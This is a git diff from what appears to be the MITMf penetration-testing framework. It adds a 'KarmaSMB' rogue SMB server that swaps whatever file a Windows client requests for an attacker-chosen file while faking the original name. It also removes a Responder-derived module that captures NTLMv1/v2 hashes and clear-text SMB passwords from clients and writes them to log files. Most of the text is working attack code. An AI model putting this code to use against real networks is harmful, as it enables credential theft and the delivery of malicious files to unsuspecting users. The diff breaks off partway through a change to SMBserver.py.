self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + + if (len(data) > 0): + findFirst2Data = smb.SMBFindFirst2_Data(data) + else: + findFirst2Data = '' + + if connData['ConnectedShares'].has_key(recvPacket['Tid']): + path = connData['ConnectedShares'][recvPacket['Tid']]['path'] + + # 2. We call the normal findFirst2 call, but with our targetFile + searchResult, searchCount, errorCode = findFirst2(path, + targetFile, + findFirst2Parameters['InformationLevel'], + findFirst2Parameters['SearchAttributes'] ) + + respParameters = smb.SMBFindFirst2Response_Parameters() + endOfSearch = 1 + sid = 0x80 # default SID + searchCount = 0 + totalData = 0 + for i in enumerate(searchResult): + #i[1].dump() + try: + # 3. And we restore the original filename requested ;) + i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName) + except: + pass + + data = i[1].getData() + lenData = len(data) + if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']: + # We gotta stop here and continue on a find_next2 + endOfSearch = 0 + # Simple way to generate a fid + if len(connData['SIDs']) == 0: + sid = 1 + else: + sid = connData['SIDs'].keys()[-1] + 1 + # Store the remaining search results in the ConnData SID + connData['SIDs'][sid] = searchResult[i[0]:] + respParameters['LastNameOffset'] = totalData + break + else: + searchCount +=1 + respData += data + totalData += lenData + + + respParameters['SID'] = sid + respParameters['EndOfSearch'] = endOfSearch + respParameters['SearchCount'] = searchCount + else: + errorCode = STATUS_SMB_BAD_TID + + smbServer.setConnectionData(connId, connData) + + return respSetup, respParameters, respData, errorCode + + def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket): + connData = smbServer.getConnectionData(connId) + + ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters']) + ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data']) + + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) + + #ntCreateAndXParameters.dump() + + # Let's try to avoid allowing write requests from the client back to us + # not 100% bulletproof, plus also the client might be using other SMB + # calls (e.g. SMB_COM_WRITE) + createOptions = ntCreateAndXParameters['CreateOptions'] + if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000: + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_SUCCESS + + if errorCode == STATUS_ACCESS_DENIED: + return [respSMBCommand], None, errorCode + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/')) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + if self.extensions.has_key(origPathNameExtension.upper()): + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + + # 2. We change the filename in the request for our targetFile + ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile) + SMBCommand['Data'] = str(ntCreateAndXData) + smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) + + # 3. We call the original call with our modified data + return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket) + + def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): + # The trick we play here is that Windows clients first ask for the file + # and then it asks for the directory containing the file. + # It is important to answer the right questions for the attack to work + + connData = smbServer.getConnectionData(connId) + + respSetup = '' + respParameters = '' + respData = '' + errorCode = 0 + + queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters) + if len(data) > 0: + queryPathInfoData = smb.SMBQueryPathInformation_Data(data) + + if connData['ConnectedShares'].has_key(recvPacket['Tid']): + path = '' + try: + origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName']) + origPathName = os.path.normpath(origPathName.replace('\\','/')) + + if connData.has_key('MS15011') is False: + connData['MS15011'] = {} + + smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO) + if connData['MS15011'].has_key(origPathName) or origPathName == '.': + # We already processed this entry, now it's asking for a directory + infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel']) + else: + # First time asked, asking for the file + infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel']) + connData['MS15011'][os.path.dirname(origPathName)] = infoRecord + except Exception, e: + #import traceback + #traceback.print_exc() + smbServer.log("queryPathInformation: %s" % e,logging.ERROR) + + if infoRecord is not None: + respParameters = smb.SMBQueryPathInformationResponse_Parameters() + respData = infoRecord + else: + errorCode = STATUS_SMB_BAD_TID + + smbServer.setConnectionData(connId, connData) + + return respSetup, respParameters, respData, errorCode + + def smb2Read(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + connData['MS15011']['StopConnection'] = True + smbServer.setConnectionData(connId, connData) + return self.origsmb2Read(connId, smbServer, recvPacket) + + def smb2Close(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + # We're closing the connection trying to flush the client's + # cache. + if connData['MS15011']['StopConnection'] == True: + return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED + return self.origsmb2Close(connId, smbServer, recvPacket) + + def smb2Create(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + + ntCreateRequest = smb2.SMB2Create(recvPacket['Data']) + + # Let's try to avoid allowing write requests from the client back to us + # not 100% bulletproof, plus also the client might be using other SMB + # calls + createOptions = ntCreateRequest['CreateOptions'] + if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000: + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_SUCCESS + + if errorCode == STATUS_ACCESS_DENIED: + return [smb2.SMB2Error()], None, errorCode + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/')) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + # Are we being asked for a directory? + if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0: + if self.extensions.has_key(origPathNameExtension.upper()): + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile) + smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) + else: + targetFile = '/' + + # 2. We change the filename in the request for our targetFile + ntCreateRequest['Buffer'] = targetFile.encode('utf-16le') + ntCreateRequest['NameLength'] = len(targetFile)*2 + recvPacket['Data'] = str(ntCreateRequest) + + # 3. We call the original call with our modified data + return self.origsmb2Create(connId, smbServer, recvPacket) + + def smb2QueryDirectory(self, connId, smbServer, recvPacket): + # Windows clients with SMB2 will also perform a QueryDirectory + # expecting to get the filename asked. So we deliver it :) + connData = smbServer.getConnectionData(connId) + + respSMBCommand = smb2.SMB2QueryDirectory_Response() + queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) + + errorCode = 0xff + respSMBCommand['Buffer'] = '\x00' + + errorCode = STATUS_SUCCESS + + #if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0: + # return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED + + if connData['MS15011']['FindDone'] is True: + + connData['MS15011']['FindDone'] = False + smbServer.setConnectionData(connId, connData) + return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES + else: + origName, targetFile = connData['MS15011']['FileData'] + (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile) + + infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE ) + infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE + + infoRecord['EaSize'] = 0 + infoRecord['EndOfFile'] = size + infoRecord['AllocationSize'] = size + infoRecord['CreationTime'] = getFileTime(ctime) + infoRecord['LastAccessTime'] = getFileTime(atime) + infoRecord['LastWriteTime'] = getFileTime(mtime) + infoRecord['LastChangeTime'] = getFileTime(mtime) + infoRecord['ShortName'] = '\x00'*24 + #infoRecord['FileName'] = os.path.basename(origName).encode('utf-16le') + infoRecord['FileName'] = origName.encode('utf-16le') + padLen = (8-(len(infoRecord) % 8)) % 8 + infoRecord['NextEntryOffset'] = 0 + + respSMBCommand['OutputBufferOffset'] = 0x48 + respSMBCommand['OutputBufferLength'] = len(infoRecord.getData()) + respSMBCommand['Buffer'] = infoRecord.getData() + '\xaa'*padLen + connData['MS15011']['FindDone'] = True + + smbServer.setConnectionData(connId, connData) + return [respSMBCommand], None, errorCode + + def smb2TreeConnect(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + + respPacket = smb2.SMB2Packet() + respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR + respPacket['Status'] = STATUS_SUCCESS + respPacket['CreditRequestResponse'] = 1 + respPacket['Command'] = recvPacket['Command'] + respPacket['SessionID'] = connData['Uid'] + respPacket['Reserved'] = recvPacket['Reserved'] + respPacket['MessageID'] = recvPacket['MessageID'] + respPacket['TreeID'] = recvPacket['TreeID'] + + respSMBCommand = smb2.SMB2TreeConnect_Response() + + treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data']) + + errorCode = STATUS_SUCCESS + + ## Process here the request, does the share exist? + path = str(recvPacket)[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']] + UNCOrShare = path.decode('utf-16le') + + # Is this a UNC? + if ntpath.ismount(UNCOrShare): + path = UNCOrShare.split('\\')[3] + else: + path = ntpath.basename(UNCOrShare) + + # We won't search for the share.. all of them exist :P + #share = searchShare(connId, path.upper(), smbServer) + connData['MS15011'] = {} + connData['MS15011']['FindDone'] = False + connData['MS15011']['StopConnection'] = False + share = {} + if share is not None: + # Simple way to generate a Tid + if len(connData['ConnectedShares']) == 0: + tid = 1 + else: + tid = connData['ConnectedShares'].keys()[-1] + 1 + connData['ConnectedShares'][tid] = share + connData['ConnectedShares'][tid]['path'] = '/' + connData['ConnectedShares'][tid]['shareName'] = path + respPacket['TreeID'] = tid + #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) + else: + smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR) + errorCode = STATUS_OBJECT_PATH_NOT_FOUND + respPacket['Status'] = errorCode + ## + + if path == 'IPC$': + respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE + respSMBCommand['ShareFlags'] = 0x30 + else: + respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK + respSMBCommand['ShareFlags'] = 0x0 + + respSMBCommand['Capabilities'] = 0 + respSMBCommand['MaximalAccess'] = 0x011f01ff + + respPacket['Data'] = respSMBCommand + + smbServer.setConnectionData(connId, connData) + + return None, [respPacket], errorCode + + def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): + connData = smbServer.getConnectionData(connId) + + resp = smb.NewSMBPacket() + resp['Flags1'] = smb.SMB.FLAGS1_REPLY + resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE + + resp['Tid'] = recvPacket['Tid'] + resp['Mid'] = recvPacket['Mid'] + resp['Pid'] = connData['Pid'] + + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) + respParameters = smb.SMBTreeConnectAndXResponse_Parameters() + respData = smb.SMBTreeConnectAndXResponse_Data() + + treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) + + if treeConnectAndXParameters['Flags'] & 0x8: + respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters() + + treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] ) + treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] + treeConnectAndXData.fromString(SMBCommand['Data']) + + errorCode = STATUS_SUCCESS + + UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) + + # Is this a UNC? + if ntpath.ismount(UNCOrShare): + path = UNCOrShare.split('\\')[3] + else: + path = ntpath.basename(UNCOrShare) + + # We won't search for the share.. all of them exist :P + smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO) + #share = searchShare(connId, path, smbServer) + share = {} + # Simple way to generate a Tid + if len(connData['ConnectedShares']) == 0: + tid = 1 + else: + tid = connData['ConnectedShares'].keys()[-1] + 1 + connData['ConnectedShares'][tid] = share + connData['ConnectedShares'][tid]['path'] = '/' + connData['ConnectedShares'][tid]['shareName'] = path + resp['Tid'] = tid + #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) + + respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS + + if path == 'IPC$': + respData['Service'] = 'IPC' + else: + respData['Service'] = path + respData['PadLen'] = 0 + respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' ) + + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData + + resp['Uid'] = connData['Uid'] + resp.addCommand(respSMBCommand) + smbServer.setConnectionData(connId, connData) + + return None, [resp], errorCode + + def start(self): + self.server.serve_forever() + + def setDefaultFile(self, filename): + self.defaultFile = filename + + def setExtensionsConfig(self, filename): + for line in filename.readlines(): + line = line.strip('\r\n ') + if line.startswith('#') is not True and len(line) > 0: + extension, pathName = line.split('=') + self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip()) diff --git a/core/servers/smb/SMBPackets.py b/core/servers/smb/SMBPackets.py deleted file mode 100644 index a1d3fcb..0000000 --- a/core/servers/smb/SMBPackets.py +++ /dev/null @@ -1,475 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#Calculate total SMB packet len. -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -#Set MID SMB Header field. -def midcalc(data): - pack=data[34:36] - return pack - -#Set UID SMB Header field. -def uidcalc(data): - pack=data[32:34] - return pack - -#Set PID SMB Header field. -def pidcalc(data): - pack=data[30:32] - return pack - -#Set TID SMB Header field. -def tidcalc(data): - pack=data[28:30] - return pack - - -################################################################################## -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("errorcode", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) -################################################################################## -#SMB Negotiate Answer LM packet. -class SMBNegoAnsLM(Packet): - fields = OrderedDict([ - ("Wordcount", "\x11"), - ("Dialect", ""), - ("Securitymode", "\x03"), - ("MaxMpx", "\x32\x00"), - ("MaxVc", "\x01\x00"), - ("Maxbuffsize", "\x04\x41\x00\x00"), - ("Maxrawbuff", "\x00\x00\x01\x00"), - ("Sessionkey", "\x00\x00\x00\x00"), - ("Capabilities", "\xfc\x3e\x01\x00"), - ("Systemtime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"), - ("Srvtimezone", "\x2c\x01"), - ("Keylength", "\x08"), - ("Bcc", "\x10\x00"), - ("Key", ""), - ("Domain", "SMB"), - ("DomainNull", "\x00\x00"), - ("Server", "SMB-TOOLKIT"), - ("ServerNull", "\x00\x00"), - ]) - - def calculate(self): - ##Convert first.. - self.fields["Domain"] = self.fields["Domain"].encode('utf-16le') - self.fields["Server"] = self.fields["Server"].encode('utf-16le') - ##Then calculate. - CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"]) - self.fields["Bcc"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3) - self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) - self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) - self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) - - ###### Andxoffset calculation. - CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen - - self.fields["Andxoffset"] = struct.pack(" 260: - SSPIStart = data[79:] - LMhashLen = struct.unpack(' 260: - SSPIStart = data[79:] - LMhashLen = struct.unpack(' 60: - outfile = "./logs/responder/SMB-NTLMv2-Client-"+client+".txt" - NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() - DomainLen = struct.unpack(' 25: - Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] - responder_logger.info('[+]SMB-NTLMv2 hash captured from :%s'%(client)) - outfile = "./logs/responder/SMB-NTLMv2-Client-"+client+".txt" - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper() - ParseShare(data) - WriteData(outfile,Writehash, Username+"::"+Domain) - responder_logger.info('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash)) - if NthashLen == 24: - responder_logger.info('[+]SMB-NTLMv1 hash captured from :%s'%(client)) - outfile = "./logs/responder/SMB-NTLMv1-Client-"+client+".txt" - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal - ParseShare(data) - WriteData(outfile,writehash, Username+"::"+Domain) - responder_logger.info('[+]SMB-NTLMv1 complete hash is :%s'%(writehash)) - responder_logger.info('[+]SMB-NTLMv1 Username:%s'%(Username)) - responder_logger.info('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain)) - except Exception: - raise - -def IsNT4ClearTxt(data): - HeadLen = 36 - Flag2 = data[14:16] - if Flag2 == "\x03\x80": - SmbData = data[HeadLen+14:] - WordCount = data[HeadLen] - ChainedCmdOffset = data[HeadLen+1] - if ChainedCmdOffset == "\x75": - PassLen = struct.unpack(' 2: - Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") - User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") - #print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) - responder_logger.info("[SMB]Clear Text Credentials: %s:%s"%(User,Password)) - -#SMB Server class, NTLMSSP -class SMB1(BaseRequestHandler): - - def handle(self): - try: - while True: - data = self.request.recv(1024) - self.request.settimeout(1) - ##session request 139 - if data[0] == "\x81": - buffer0 = "\x82\x00\x00\x00" - self.request.send(buffer0) - data = self.request.recv(1024) - ##Negotiate proto answer. - if data[8:10] == "\x72\x00": - #Customize SMB answer. - head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) - t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) - t.calculate() - final = t - packet0 = str(head)+str(final) - buffer0 = longueur(packet0)+packet0 - self.request.send(buffer0) - data = self.request.recv(1024) - ##Session Setup AndX Request - if data[8:10] == "\x73\x00": - IsNT4ClearTxt(data) - head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) - t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) - t.calculate() - final = t - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(4096) - if data[8:10] == "\x73\x00": - if Is_Anonymous(data): - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. - final = SMBSessEmpty() - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - else: - ParseSMBHash(data,self.client_address[0]) - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = SMBSession2Accept() - final.calculate() - packet2 = str(head)+str(final) - buffer2 = longueur(packet2)+packet2 - self.request.send(buffer2) - data = self.request.recv(1024) - ##Tree Connect IPC Answer - if data[8:10] == "\x75\x00": - ParseShare(data) - head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) - t = SMBTreeData() - t.calculate() - final = t - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Tree Disconnect. - if data[8:10] == "\x71\x00": - head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##NT_CREATE Access Denied. - if data[8:10] == "\xa2\x00": - head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Trans2 Access Denied. - if data[8:10] == "\x25\x00": - head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##LogOff. - if data[8:10] == "\x74\x00": - head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x02\xff\x00\x27\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - - except Exception: - pass #no need to print errors.. - -#SMB Server class, old version. -class SMB1LM(BaseRequestHandler): - - def handle(self): - try: - self.request.settimeout(0.5) - data = self.request.recv(1024) - ##session request 139 - if data[0] == "\x81": - buffer0 = "\x82\x00\x00\x00" - self.request.send(buffer0) - data = self.request.recv(1024) - ##Negotiate proto answer. - if data[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) - t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Session Setup AndX Request - if data[8:10] == "\x73\x00": - if Is_LMNT_Anonymous(data): - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - packet1 = str(head)+str(SMBSessEmpty()) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - else: - ParseLMNTHash(data,self.client_address[0]) - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - packet1 = str(head)+str(SMBSessEmpty()) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - - except Exception: - self.request.close() - pass \ No newline at end of file diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py index d413926..8a86477 100644 --- a/core/servers/smb/SMBserver.py +++ b/core/servers/smb/SMBserver.py @@ -1,81 +1,85 @@ import logging import sys import threading +import os + from socket import error as socketerror from impacket import version, smbserver, LOG +from core.servers.smb.KarmaSMB import KarmaSMBServer from core.configwatcher import ConfigWatcher from core.utils import shutdown -LOG.setLevel(logging.INFO) -LOG.propagate = False -logging.getLogger('smbserver').setLevel(logging.INFO) -logging.getLogger('impacket').setLevel(logging.INFO) - -formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -fileHandler = logging.FileHandler("./logs/mitmf.log") -streamHandler = logging.StreamHandler(sys.stdout) -fileHandler.setFormatter(formatter) -streamHandler.setFormatter(formatter) -LOG.addHandler(fileHandler) -LOG.addHandler(streamHandler) +#Logging is something I'm going to have to clean up in the future class SMBserver(ConfigWatcher): + _instance = None impacket_ver = version.VER_MINOR + server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower() + smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"] + smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"]) - def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''): - + @staticmethod + def getInstance(): + if SMBserver._instance == None: + SMBserver._instance = SMBserver() + + return SMBserver._instance + + def parseConfig(self): + server = None try: - self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile) - self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"]) + if self.server_type == 'normal': + + formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + self.configureLogging(formatter) + + server = smbserver.SimpleSMBServer(listenPort=self.smb_port) + + for share in 